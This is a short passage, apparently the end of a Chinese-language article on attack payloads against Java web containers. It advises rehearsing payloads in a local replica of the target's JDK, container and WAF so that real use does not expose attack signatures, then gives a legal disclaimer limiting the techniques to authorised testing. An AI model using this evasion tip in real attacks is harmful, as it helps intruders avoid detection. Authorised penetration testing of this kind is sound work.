- 本地测试优先:所有Payload必须先在本地搭建的目标环境(相同JDK、Web容器、WAF)中测试通过,再放到实战环境使用,避免暴露攻击特征。
最终合规红线
再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。












